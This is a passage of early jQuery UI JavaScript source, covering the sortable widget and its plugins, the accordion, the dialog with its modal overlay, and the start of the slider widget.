if (!validHandle) return false;
}
this.currentItem = currentItem;
return true;
},
mouseStart: function(e, overrideHandle, noActivation) {
var o = this.options;
this.currentContainer = this;
this.refreshPositions();
this.helper = typeof o.helper == 'function' ? $(o.helper.apply(this.element[0], [e, this.currentItem])) : this.currentItem.clone();
if (!this.helper.parents('body').length) $(o.appendTo != 'parent' ? o.appendTo : this.currentItem[0].parentNode)[0].appendChild(this.helper[0]);
this.helper.css({
position: 'absolute',
clear: 'both'
}).addClass('ui-sortable-helper');
this.margins = {
left: (parseInt(this.currentItem.css("marginLeft"), 10) || 0),
top: (parseInt(this.currentItem.css("marginTop"), 10) || 0)
};
this.offset = this.currentItem.offset();
this.offset = {
top: this.offset.top - this.margins.top,
left: this.offset.left - this.margins.left
};
this.offset.click = {
left: e.pageX - this.offset.left,
top: e.pageY - this.offset.top
};
this.offsetParent = this.helper.offsetParent();
var po = this.offsetParent.offset();
this.offsetParentBorders = {
top: (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
left: (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
};
this.offset.parent = {
top: po.top + this.offsetParentBorders.top,
left: po.left + this.offsetParentBorders.left
};
this.originalPosition = this.generatePosition(e);
this.domPosition = {
prev: this.currentItem.prev()[0],
parent: this.currentItem.parent()[0]
};
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
if (o.placeholder) this.createPlaceholder();
this.propagate("start", e);
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
if (o.cursorAt) {
if (o.cursorAt.left != undefined) this.offset.click.left = o.cursorAt.left;
if (o.cursorAt.right != undefined) this.offset.click.left = this.helperProportions.width - o.cursorAt.right;
if (o.cursorAt.top != undefined) this.offset.click.top = o.cursorAt.top;
if (o.cursorAt.bottom != undefined) this.offset.click.top = this.helperProportions.height - o.cursorAt.bottom;
}
if (o.containment) {
if (o.containment == 'parent') o.containment = this.helper[0].parentNode;
if (o.containment == 'document' || o.containment == 'window') this.containment = [0 - this.offset.parent.left, 0 - this.offset.parent.top, $(o.containment == 'document' ? document : window).width() - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
if (!(/^(document|window|parent)$/).test(o.containment)) {
var ce = $(o.containment)[0];
var co = $(o.containment).offset();
this.containment = [co.left + (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.parent.left, co.top + (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.parent.top, co.left + Math.max(ce.scrollWidth, ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.currentItem.css("marginRight"), 10) || 0), co.top + Math.max(ce.scrollHeight, ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.currentItem.css("marginBottom"), 10) || 0)];
}
}
if (this.options.placeholder != 'clone') this.currentItem.css('visibility', 'hidden');
if (!noActivation) {
for (var i = this.containers.length - 1; i >= 0; i--) {
this.containers[i].propagate("activate", e, this);
}
}
if ($.ui.ddmanager) $.ui.ddmanager.current = this;
if ($.ui.ddmanager && !o.dropBehaviour) $.ui.ddmanager.prepareOffsets(this, e);
this.dragging = true;
this.mouseDrag(e);
return true;
},
convertPositionTo: function(d, pos) {
if (!pos) pos = this.position;
var mod = d == "absolute" ? 1 : -1;
return {
top: (pos.top + this.offset.parent.top * mod - (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop) * mod + this.margins.top * mod),
left: (pos.left + this.offset.parent.left * mod - (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft) * mod + this.margins.left * mod)
};
},
generatePosition: function(e) {
var o = this.options;
var position = {
top: (e.pageY - this.offset.click.top - this.offset.parent.top + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop)),
left: (e.pageX - this.offset.click.left - this.offset.parent.left + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft))
};
if (!this.originalPosition) return position;
if (this.containment) {
if (position.left < this.containment[0]) position.left = this.containment[0];
if (position.top < this.containment[1]) position.top = this.containment[1];
if (position.left > this.containment[2]) position.left = this.containment[2];
if (position.top > this.containment[3]) position.top = this.containment[3];
}
if (o.grid) {
var top = this.originalPosition.top + Math.round((position.top - this.originalPosition.top) / o.grid[1]) * o.grid[1];
position.top = this.containment ? (!(top < this.containment[1] || top > this.containment[3]) ? top : (!(top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
var left = this.originalPosition.left + Math.round((position.left - this.originalPosition.left) / o.grid[0]) * o.grid[0];
position.left = this.containment ? (!(left < this.containment[0] || left > this.containment[2]) ? left : (!(left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
}
return position;
},
mouseDrag: function(e) {
this.position = this.generatePosition(e);
this.positionAbs = this.convertPositionTo("absolute");
$.ui.plugin.call(this, "sort", [e, this.ui()]);
this.positionAbs = this.convertPositionTo("absolute");
this.helper[0].style.left = this.position.left + 'px';
this.helper[0].style.top = this.position.top + 'px';
for (var i = this.items.length - 1; i >= 0; i--) {
var intersection = this.intersectsWithEdge(this.items[i]);
if (!intersection) continue;
if (this.items[i].item[0] != this.currentItem[0] && this.currentItem[intersection == 1 ? "next" : "prev"]()[0] != this.items[i].item[0] && !contains(this.currentItem[0], this.items[i].item[0]) && (this.options.type == 'semi-dynamic' ? !contains(this.element[0], this.items[i].item[0]) : true)) {
this.direction = intersection == 1 ? "down" : "up";
this.rearrange(e, this.items[i]);
this.propagate("change", e);
break;
}
}
this.contactContainers(e);
if ($.ui.ddmanager) $.ui.ddmanager.drag(this, e);
this.element.triggerHandler("sort", [e, this.ui()], this.options["sort"]);
return false;
},
rearrange: function(e, i, a, hardRefresh) {
a ? a[0].appendChild(this.currentItem[0]) : i.item[0].parentNode.insertBefore(this.currentItem[0], (this.direction == 'down' ? i.item[0] : i.item[0].nextSibling));
this.counter = this.counter ? ++this.counter : 1;
var self = this,
counter = this.counter;
window.setTimeout(function() {
if (counter == self.counter) self.refreshPositions(!hardRefresh);
}, 0);
if (this.options.placeholder) this.options.placeholder.update.call(this.element, this.currentItem, this.placeholder);
},
mouseStop: function(e, noPropagation) {
if ($.ui.ddmanager && !this.options.dropBehaviour) $.ui.ddmanager.drop(this, e);
if (this.options.revert) {
var self = this;
var cur = self.currentItem.offset();
if (self.placeholder) self.placeholder.animate({
opacity: 'hide'
}, (parseInt(this.options.revert, 10) || 500) - 50);
$(this.helper).animate({
left: cur.left - this.offset.parent.left - self.margins.left + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft),
top: cur.top - this.offset.parent.top - self.margins.top + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop)
}, parseInt(this.options.revert, 10) || 500, function() {
self.clear(e);
});
} else {
this.clear(e, noPropagation);
}
return false;
},
clear: function(e, noPropagation) {
if (this.domPosition.prev != this.currentItem.prev().not(".ui-sortable-helper")[0] || this.domPosition.parent != this.currentItem.parent()[0]) this.propagate("update", e, null, noPropagation);
if (!contains(this.element[0], this.currentItem[0])) {
this.propagate("remove", e, null, noPropagation);
for (var i = this.containers.length - 1; i >= 0; i--) {
if (contains(this.containers[i].element[0], this.currentItem[0])) {
this.containers[i].propagate("update", e, this, noPropagation);
this.containers[i].propagate("receive", e, this, noPropagation);
}
};
};
for (var i = this.containers.length - 1; i >= 0; i--) {
this.containers[i].propagate("deactivate", e, this, noPropagation);
if (this.containers[i].containerCache.over) {
this.containers[i].propagate("out", e, this);
this.containers[i].containerCache.over = 0;
}
}
this.dragging = false;
if (this.cancelHelperRemoval) {
this.propagate("stop", e, null, noPropagation);
return false;
}
$(this.currentItem).css('visibility', '');
if (this.placeholder) this.placeholder.remove();
this.helper.remove();
this.helper = null;
this.propagate("stop", e, null, noPropagation);
return true;
}
}));
$.extend($.ui.sortable, {
getter: "serialize toArray",
defaults: {
helper: "clone",
tolerance: "guess",
distance: 1,
delay: 0,
scroll: true,
scrollSensitivity: 20,
scrollSpeed: 20,
cancel: ":input",
items: '> *',
zIndex: 1000,
dropOnEmpty: true,
appendTo: "parent"
}
});
$.ui.plugin.add("sortable", "cursor", {
start: function(e, ui) {
var t = $('body');
if (t.css("cursor")) ui.options._cursor = t.css("cursor");
t.css("cursor", ui.options.cursor);
},
stop: function(e, ui) {
if (ui.options._cursor) $('body').css("cursor", ui.options._cursor);
}
});
$.ui.plugin.add("sortable", "zIndex", {
start: function(e, ui) {
var t = ui.helper;
if (t.css("zIndex")) ui.options._zIndex = t.css("zIndex");
t.css('zIndex', ui.options.zIndex);
},
stop: function(e, ui) {
if (ui.options._zIndex) $(ui.helper).css('zIndex', ui.options._zIndex);
}
});
$.ui.plugin.add("sortable", "opacity", {
start: function(e, ui) {
var t = ui.helper;
if (t.css("opacity")) ui.options._opacity = t.css("opacity");
t.css('opacity', ui.options.opacity);
},
stop: function(e, ui) {
if (ui.options._opacity) $(ui.helper).css('opacity', ui.options._opacity);
}
});
$.ui.plugin.add("sortable", "scroll", {
start: function(e, ui) {
var o = ui.options;
var i = $(this).data("sortable");
i.overflowY = function(el) {
do {
if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el;
el = el.parent();
} while (el[0].parentNode);
return $(document);
}(i.currentItem);
i.overflowX = function(el) {
do {
if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el;
el = el.parent();
} while (el[0].parentNode);
return $(document);
}(i.currentItem);
if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') i.overflowYOffset = i.overflowY.offset();
if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') i.overflowXOffset = i.overflowX.offset();
},
sort: function(e, ui) {
var o = ui.options;
var i = $(this).data("sortable");
if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') {
if ((i.overflowYOffset.top + i.overflowY[0].offsetHeight) - e.pageY < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop + o.scrollSpeed;
if (e.pageY - i.overflowYOffset.top < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop - o.scrollSpeed;
} else {
if (e.pageY - $(document).scrollTop() < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
if ($(window).height() - (e.pageY - $(document).scrollTop()) < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
}
if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') {
if ((i.overflowXOffset.left + i.overflowX[0].offsetWidth) - e.pageX < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft + o.scrollSpeed;
if (e.pageX - i.overflowXOffset.left < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft - o.scrollSpeed;
} else {
if (e.pageX - $(document).scrollLeft() < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
if ($(window).width() - (e.pageX - $(document).scrollLeft()) < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
}
}
});
$.ui.plugin.add("sortable", "axis", {
sort: function(e, ui) {
var i = $(this).data("sortable");
if (ui.options.axis == "y") i.position.left = i.originalPosition.left;
if (ui.options.axis == "x") i.position.top = i.originalPosition.top;
}
});
})(jQuery);
(function($) {
$.widget("ui.accordion", {
init: function() {
var options = this.options;
if (options.navigation) {
var current = this.element.find("a").filter(options.navigationFilter);
if (current.length) {
if (current.filter(options.header).length) {
options.active = current;
} else {
options.active = current.parent().parent().prev();
current.addClass("current");
}
}
}
options.headers = this.element.find(options.header);
options.active = findActive(options.headers, options.active);
if ($.browser.msie) {
this.element.find('a').css('zoom', '1');
}
if (!this.element.hasClass("ui-accordion")) {
this.element.addClass("ui-accordion");
$("<span class='ui-accordion-left'/>").insertBefore(options.headers);
$("<span class='ui-accordion-right'/>").appendTo(options.headers);
options.headers.addClass("ui-accordion-header").attr("tabindex", "0");
}
var maxHeight;
if (options.fillSpace) {
maxHeight = this.element.parent().height();
options.headers.each(function() {
maxHeight -= $(this).outerHeight();
});
var maxPadding = 0;
options.headers.next().each(function() {
maxPadding = Math.max(maxPadding, $(this).innerHeight() - $(this).height());
}).height(maxHeight - maxPadding);
} else if (options.autoHeight) {
maxHeight = 0;
options.headers.next().each(function() {
maxHeight = Math.max(maxHeight, $(this).outerHeight());
}).height(maxHeight);
}
options.headers.not(options.active || "").next().hide();
options.active.parent().andSelf().addClass(options.selectedClass);
if (options.event) {
this.element.bind((options.event) + ".accordion", clickHandler);
}
},
activate: function(index) {
clickHandler.call(this.element[0], {
target: findActive(this.options.headers, index)[0]
});
},
destroy: function() {
this.options.headers.next().css("display", "");
if (this.options.fillSpace || this.options.autoHeight) {
this.options.headers.next().css("height", "");
}
$.removeData(this.element[0], "accordion");
this.element.removeClass("ui-accordion").unbind(".accordion");
}
});
function scopeCallback(callback, scope) {
return function() {
return callback.apply(scope, arguments);
};
};
function completed(cancel) {
if (!$.data(this, "accordion")) {
return;
}
var instance = $.data(this, "accordion");
var options = instance.options;
options.running = cancel ? 0 : --options.running;
if (options.running) {
return;
}
if (options.clearStyle) {
options.toShow.add(options.toHide).css({
height: "",
overflow: ""
});
}
$(this).triggerHandler("accordionchange", [$.event.fix({
type: 'accordionchange',
target: instance.element[0]
}), options.data], options.change);
}
function toggle(toShow, toHide, data, clickedActive, down) {
var options = $.data(this, "accordion").options;
options.toShow = toShow;
options.toHide = toHide;
options.data = data;
var complete = scopeCallback(completed, this);
options.running = toHide.size() === 0 ? toShow.size() : toHide.size();
if (options.animated) {
if (!options.alwaysOpen && clickedActive) {
$.ui.accordion.animations[options.animated]({
toShow: jQuery([]),
toHide: toHide,
complete: complete,
down: down,
autoHeight: options.autoHeight
});
} else {
$.ui.accordion.animations[options.animated]({
toShow: toShow,
toHide: toHide,
complete: complete,
down: down,
autoHeight: options.autoHeight
});
}
} else {
if (!options.alwaysOpen && clickedActive) {
toShow.toggle();
} else {
toHide.hide();
toShow.show();
}
complete(true);
}
}
function clickHandler(event) {
var options = $.data(this, "accordion").options;
if (options.disabled) {
return false;
}
if (!event.target && !options.alwaysOpen) {
options.active.parent().andSelf().toggleClass(options.selectedClass);
var toHide = options.active.next(),
data = {
options: options,
newHeader: jQuery([]),
oldHeader: options.active,
newContent: jQuery([]),
oldContent: toHide
},
toShow = (options.active = $([]));
toggle.call(this, toShow, toHide, data);
return false;
}
var clicked = $(event.target);
clicked = $(clicked.parents(options.header)[0] || clicked);
var clickedActive = clicked[0] == options.active[0];
if (options.running || (options.alwaysOpen && clickedActive)) {
return false;
}
if (!clicked.is(options.header)) {
return;
}
options.active.parent().andSelf().toggleClass(options.selectedClass);
if (!clickedActive) {
clicked.parent().andSelf().addClass(options.selectedClass);
}
var toShow = clicked.next(),
toHide = options.active.next(),
data = {
options: options,
newHeader: clicked,
oldHeader: options.active,
newContent: toShow,
oldContent: toHide
},
down = options.headers.index(options.active[0]) > options.headers.index(clicked[0]);
options.active = clickedActive ? $([]) : clicked;
toggle.call(this, toShow, toHide, data, clickedActive, down);
return false;
};
function findActive(headers, selector) {
return selector != undefined ? typeof selector == "number" ? headers.filter(":eq(" + selector + ")") : headers.not(headers.not(selector)) : selector === false ? $([]) : headers.filter(":eq(0)");
}
$.extend($.ui.accordion, {
defaults: {
selectedClass: "selected",
alwaysOpen: true,
animated: 'slide',
event: "click",
header: "a",
autoHeight: true,
running: 0,
navigationFilter: function() {
return this.href.toLowerCase() == location.href.toLowerCase();
}
},
animations: {
slide: function(options, additions) {
options = $.extend({
easing: "swing",
duration: 300
}, options, additions);
if (!options.toHide.size()) {
options.toShow.animate({
height: "show"
}, options);
return;
}
var hideHeight = options.toHide.height(),
showHeight = options.toShow.height(),
difference = showHeight / hideHeight;
options.toShow.css({
height: 0,
overflow: 'hidden'
}).show();
options.toHide.filter(":hidden").each(options.complete).end().filter(":visible").animate({
height: "hide"
}, {
step: function(now) {
var current = (hideHeight - now) * difference;
if ($.browser.msie || $.browser.opera) {
current = Math.ceil(current);
}
options.toShow.height(current);
},
duration: options.duration,
easing: options.easing,
complete: function() {
if (!options.autoHeight) {
options.toShow.css("height", "auto");
}
options.complete();
}
});
},
bounceslide: function(options) {
this.slide(options, {
easing: options.down ? "bounceout" : "swing",
duration: options.down ? 1000 : 200
});
},
easeslide: function(options) {
this.slide(options, {
easing: "easeinout",
duration: 700
});
}
}
});
$.fn.activate = function(index) {
return this.accordion("activate", index);
};
})(jQuery);
(function($) {
var setDataSwitch = {
dragStart: "start.draggable",
drag: "drag.draggable",
dragStop: "stop.draggable",
maxHeight: "maxHeight.resizable",
minHeight: "minHeight.resizable",
maxWidth: "maxWidth.resizable",
minWidth: "minWidth.resizable",
resizeStart: "start.resizable",
resize: "drag.resizable",
resizeStop: "stop.resizable"
};
$.widget("ui.dialog", {
init: function() {
var self = this,
options = this.options,
resizeHandles = typeof options.resizable == 'string' ? options.resizable : 'n,e,s,w,se,sw,ne,nw',
uiDialogContent = this.element.addClass('ui-dialog-content').wrap('<div/>').wrap('<div/>'),
uiDialogContainer = (this.uiDialogContainer = uiDialogContent.parent().addClass('ui-dialog-container').css({
position: 'relative',
width: '100%',
height: '100%'
})),
title = options.title || uiDialogContent.attr('title') || '',
uiDialogTitlebar = (this.uiDialogTitlebar = $('<div class="ui-dialog-titlebar"/>')).append('<span class="ui-dialog-title">' + title + '</span>').append('<a href="#" class="ui-dialog-titlebar-close"><span>X</span></a>').prependTo(uiDialogContainer),
uiDialog = (this.uiDialog = uiDialogContainer.parent()).appendTo(document.body).hide().addClass('ui-dialog').addClass(options.dialogClass).addClass(uiDialogContent.attr('className')).removeClass('ui-dialog-content').css({
position: 'absolute',
width: options.width,
height: options.height,
overflow: 'hidden',
zIndex: options.zIndex
}).attr('tabIndex', -1).css('outline', 0).keydown(function(ev) {
if (options.closeOnEscape) {
var ESC = 27;
(ev.keyCode && ev.keyCode == ESC && self.close());
}
}).mousedown(function() {
self.moveToTop();
}),
uiDialogButtonPane = (this.uiDialogButtonPane = $('<div/>')).addClass('ui-dialog-buttonpane').css({
position: 'absolute',
bottom: 0
}).appendTo(uiDialog);
this.uiDialogTitlebarClose = $('.ui-dialog-titlebar-close', uiDialogTitlebar).hover(function() {
$(this).addClass('ui-dialog-titlebar-close-hover');
}, function() {
$(this).removeClass('ui-dialog-titlebar-close-hover');
}).mousedown(function(ev) {
ev.stopPropagation();
}).click(function() {
self.close();
return false;
});
this.uiDialogTitlebar.find("*").add(this.uiDialogTitlebar).each(function() {
$.ui.disableSelection(this);
});
if ($.fn.draggable) {
uiDialog.draggable({
cancel: '.ui-dialog-content',
helper: options.dragHelper,
handle: '.ui-dialog-titlebar',
start: function(e, ui) {
self.moveToTop();
(options.dragStart && options.dragStart.apply(self.element[0], arguments));
},
drag: function(e, ui) {
(options.drag && options.drag.apply(self.element[0], arguments));
},
stop: function(e, ui) {
(options.dragStop && options.dragStop.apply(self.element[0], arguments));
$.ui.dialog.overlay.resize();
}
});
(options.draggable || uiDialog.draggable('disable'));
}
if ($.fn.resizable) {
uiDialog.resizable({
cancel: '.ui-dialog-content',
helper: options.resizeHelper,
maxWidth: options.maxWidth,
maxHeight: options.maxHeight,
minWidth: options.minWidth,
minHeight: options.minHeight,
start: function() {
(options.resizeStart && options.resizeStart.apply(self.element[0], arguments));
},
resize: function(e, ui) {
(options.autoResize && self.size.apply(self));
(options.resize && options.resize.apply(self.element[0], arguments));
},
handles: resizeHandles,
stop: function(e, ui) {
(options.autoResize && self.size.apply(self));
(options.resizeStop && options.resizeStop.apply(self.element[0], arguments));
$.ui.dialog.overlay.resize();
}
});
(options.resizable || uiDialog.resizable('disable'));
}
this.createButtons(options.buttons);
this.isOpen = false;
(options.bgiframe && $.fn.bgiframe && uiDialog.bgiframe());
(options.autoOpen && this.open());
},
setData: function(key, value) {
(setDataSwitch[key] && this.uiDialog.data(setDataSwitch[key], value));
switch (key) {
case "buttons":
this.createButtons(value);
break;
case "draggable":
this.uiDialog.draggable(value ? 'enable' : 'disable');
break;
case "height":
this.uiDialog.height(value);
break;
case "position":
this.position(value);
break;
case "resizable":
(typeof value == 'string' && this.uiDialog.data('handles.resizable', value));
this.uiDialog.resizable(value ? 'enable' : 'disable');
break;
case "title":
$(".ui-dialog-title", this.uiDialogTitlebar).text(value);
break;
case "width":
this.uiDialog.width(value);
break;
}
$.widget.prototype.setData.apply(this, arguments);
},
position: function(pos) {
var wnd = $(window),
doc = $(document),
pTop = doc.scrollTop(),
pLeft = doc.scrollLeft(),
minTop = pTop;
if ($.inArray(pos, ['center', 'top', 'right', 'bottom', 'left']) >= 0) {
pos = [pos == 'right' || pos == 'left' ? pos : 'center', pos == 'top' || pos == 'bottom' ? pos : 'middle'];
}
if (pos.constructor != Array) {
pos = ['center', 'middle'];
}
if (pos[0].constructor == Number) {
pLeft += pos[0];
} else {
switch (pos[0]) {
case 'left':
pLeft += 0;
break;
case 'right':
pLeft += wnd.width() - this.uiDialog.width();
break;
default:
case 'center':
pLeft += (wnd.width() - this.uiDialog.width()) / 2;
}
}
if (pos[1].constructor == Number) {
pTop += pos[1];
} else {
switch (pos[1]) {
case 'top':
pTop += 0;
break;
case 'bottom':
pTop += wnd.height() - this.uiDialog.height();
break;
default:
case 'middle':
pTop += (wnd.height() - this.uiDialog.height()) / 2;
}
}
pTop = Math.max(pTop, minTop);
this.uiDialog.css({
top: pTop,
left: pLeft
});
},
size: function() {
var container = this.uiDialogContainer,
titlebar = this.uiDialogTitlebar,
content = this.element,
tbMargin = parseInt(content.css('margin-top'), 10) + parseInt(content.css('margin-bottom'), 10),
lrMargin = parseInt(content.css('margin-left'), 10) + parseInt(content.css('margin-right'), 10);
content.height(container.height() - titlebar.outerHeight() - tbMargin);
content.width(container.width() - lrMargin);
},
open: function() {
if (this.isOpen) {
return;
}
this.overlay = this.options.modal ? new $.ui.dialog.overlay(this) : null;
(this.uiDialog.next().length > 0) && this.uiDialog.appendTo('body');
this.position(this.options.position);
this.uiDialog.show(this.options.show);
this.options.autoResize && this.size();
this.moveToTop(true);
var openEV = null;
var openUI = {
options: this.options
};
this.uiDialogTitlebarClose.focus();
this.element.triggerHandler("dialogopen", [openEV, openUI], this.options.open);
this.isOpen = true;
},
moveToTop: function(force) {
if ((this.options.modal && !force) || (!this.options.stack && !this.options.modal)) {
return this.element.triggerHandler("dialogfocus", [null,
{
options: this.options
}], this.options.focus);
}
var maxZ = this.options.zIndex,
options = this.options;
$('.ui-dialog:visible').each(function() {
maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10) || options.zIndex);
});
(this.overlay && this.overlay.$el.css('z-index', ++maxZ));
this.uiDialog.css('z-index', ++maxZ);
this.element.triggerHandler("dialogfocus", [null,
{
options: this.options
}], this.options.focus);
},
close: function() {
(this.overlay && this.overlay.destroy());
this.uiDialog.hide(this.options.hide);
var closeEV = null;
var closeUI = {
options: this.options
};
this.element.triggerHandler("dialogclose", [closeEV, closeUI], this.options.close);
$.ui.dialog.overlay.resize();
this.isOpen = false;
},
destroy: function() {
(this.overlay && this.overlay.destroy());
this.uiDialog.hide();
this.element.unbind('.dialog').removeData('dialog').removeClass('ui-dialog-content').hide().appendTo('body');
this.uiDialog.remove();
},
createButtons: function(buttons) {
var self = this,
hasButtons = false,
uiDialogButtonPane = this.uiDialogButtonPane;
uiDialogButtonPane.empty().hide();
$.each(buttons, function() {
return !(hasButtons = true);
});
if (hasButtons) {
uiDialogButtonPane.show();
$.each(buttons, function(name, fn) {
$('<button/>').text(name).click(function() {
fn.apply(self.element[0], arguments);
}).appendTo(uiDialogButtonPane);
});
}
}
});
$.extend($.ui.dialog, {
defaults: {
autoOpen: true,
autoResize: true,
bgiframe: false,
buttons: {},
closeOnEscape: true,
draggable: true,
height: 200,
minHeight: 100,
minWidth: 150,
modal: false,
overlay: {},
position: 'center',
resizable: true,
stack: true,
width: 300,
zIndex: 1000
},
overlay: function(dialog) {
this.$el = $.ui.dialog.overlay.create(dialog);
}
});
$.extend($.ui.dialog.overlay, {
instances: [],
events: $.map('focus,mousedown,mouseup,keydown,keypress,click'.split(','), function(e) {
return e + '.dialog-overlay';
}).join(' '),
create: function(dialog) {
if (this.instances.length === 0) {
setTimeout(function() {
$('a, :input').bind($.ui.dialog.overlay.events, function() {
var allow = false;
var $dialog = $(this).parents('.ui-dialog');
if ($dialog.length) {
var $overlays = $('.ui-dialog-overlay');
if ($overlays.length) {
var maxZ = parseInt($overlays.css('z-index'), 10);
$overlays.each(function() {
maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10));
});
allow = parseInt($dialog.css('z-index'), 10) > maxZ;
} else {
allow = true;
}
}
return allow;
});
}, 1);
$(document).bind('keydown.dialog-overlay', function(e) {
var ESC = 27;
(e.keyCode && e.keyCode == ESC && dialog.close());
});
$(window).bind('resize.dialog-overlay', $.ui.dialog.overlay.resize);
}
var $el = $('<div/>').appendTo(document.body).addClass('ui-dialog-overlay').css($.extend({
borderWidth: 0,
margin: 0,
padding: 0,
position: 'absolute',
top: 0,
left: 0,
width: this.width(),
height: this.height()
}, dialog.options.overlay));
(dialog.options.bgiframe && $.fn.bgiframe && $el.bgiframe());
this.instances.push($el);
return $el;
},
destroy: function($el) {
this.instances.splice($.inArray(this.instances, $el), 1);
if (this.instances.length === 0) {
$('a, :input').add([document, window]).unbind('.dialog-overlay');
}
$el.remove();
},
height: function() {
if ($.browser.msie && $.browser.version < 7) {
var scrollHeight = Math.max(document.documentElement.scrollHeight, document.body.scrollHeight);
var offsetHeight = Math.max(document.documentElement.offsetHeight, document.body.offsetHeight);
if (scrollHeight < offsetHeight) {
return $(window).height() + 'px';
} else {
return scrollHeight + 'px';
}
} else {
return $(document).height() + 'px';
}
},
width: function() {
if ($.browser.msie && $.browser.version < 7) {
var scrollWidth = Math.max(document.documentElement.scrollWidth, document.body.scrollWidth);
var offsetWidth = Math.max(document.documentElement.offsetWidth, document.body.offsetWidth);
if (scrollWidth < offsetWidth) {
return $(window).width() + 'px';
} else {
return scrollWidth + 'px';
}
} else {
return $(document).width() + 'px';
}
},
resize: function() {
var $overlays = $([]);
$.each($.ui.dialog.overlay.instances, function() {
$overlays = $overlays.add(this);
});
$overlays.css({
width: 0,
height: 0
}).css({
width: $.ui.dialog.overlay.width(),
height: $.ui.dialog.overlay.height()
});
}
});
$.extend($.ui.dialog.overlay.prototype, {
destroy: function() {
$.ui.dialog.overlay.destroy(this.$el);
}
});
})(jQuery);
(function($) {
$.fn.unwrap = $.fn.unwrap ||
function(expr) {
return this.each(function() {
$(this).parents(expr).eq(0).after(this).remove();
});
};
$.widget("ui.slider", {
plugins: {},
ui: function(e) {
return {
options: this.options,
handle: this.currentHandle,
value: this.options.axis != "both" || !this.options.axis ? Math.round(this.value(null, this.options.axis == "vertical" ? "y" : "x")) : {
x: Math.round(this.value(null, "x")),
y: Math.round(this.value(null, "y"))
},
range: this.getRange()
};
},
propagate: function(n, e) {
$.ui.plugin.call(this, n, [e, this.ui()]);
this.element.triggerHandler(n == "slide" ? n : "slide" + n, [e, this.ui()], this.options[n]);
},
destroy: function() {
this.element.removeClass("ui-slider ui-slider-disabled").removeData("slider").unbind(".slider");
if (this.handle && this.handle.length) {
this.handle.unwrap("a");
this.handle.each(function() {
$(this).data("mouse").mouseDestroy();
});
}
this.generated && this.generated.remove();
},
setData: function(key, value) {
$.widget.prototype.setData.apply(this, arguments);
if (/min|max|steps/.test(key)) {
this.initBoundaries();
}
if (key == "range") {
value ? this.handle.length == 2 && this.createRange() : this.removeRange();
}
},
init: function() {
var self = this;
this.element.addClass("ui-slider");
this.initBoundaries();
this.handle = $(this.options.handle, this.element);
if (!this.handle.length) {
self.handle = self.generated = $(self.options.handles || [0]).map(function() {
var handle = $("<div/>").addClass("ui-slider-handle").appendTo(self.element);
if (this.id) handle.attr("id", this.id);
return handle[0];
});
}
var handleclass = function(el) {
this.element = $(el);
this.element.data("mouse", this);
this.options = self.options;
this.element.bind("mousedown", function() {
if (self.currentHandle) this.blur(self.currentHandle);
self.focus(this, 1);
});
this.mouseInit();
};
$.extend(handleclass.prototype, $.ui.mouse, {
mouseStart: function(e) {
return self.start.call(self, e, this.element[0]);
},
mouseStop: function(e) {
return self.stop.call(self, e, this.element[0]);
},
mouseDrag: function(e) {
return self.drag.call(self, e, this.element[0]);
},
mouseCapture: function() {
return true;
},
trigger: function(e) {
this.mouseDown(e);
}
});
$(this.handle).each(function() {
new handleclass(this);
}).wrap('<a href="javascript:void(0)" style="outline:none;border:none;"></a>').parent().bind('focus', function(e) {
self.focus(this.firstChild);
}).bind('blur', function(e) {
self.blur(this.firstChild);
}).bind('keydown', function(e) {
if (!self.options.noKeyboard) self.keydown(e.keyCode, this.firstChild);
});
this.element.bind('mousedown.slider', function(e) {
self.click.apply(self, [e]);
self.currentHandle.data("mouse").trigger(e);
self.firstValue = self.firstValue + 1;
});
$.each(this.options.handles || [], function(index, handle) {
self.moveTo(handle.start, index, true);
});
if (!isNaN(this.options.startValue)) this.moveTo(this.options.startValue, 0, true);
this.previousHandle = $(this.handle[0]);
if (this.handle.length == 2 && this.options.range) this.createRange();
},
initBoundaries: function() {
var element = this.element[0],
o = this.options;
this.actualSize = {
width: this.element.outerWidth(),
height: this.element.outerHeight()
};
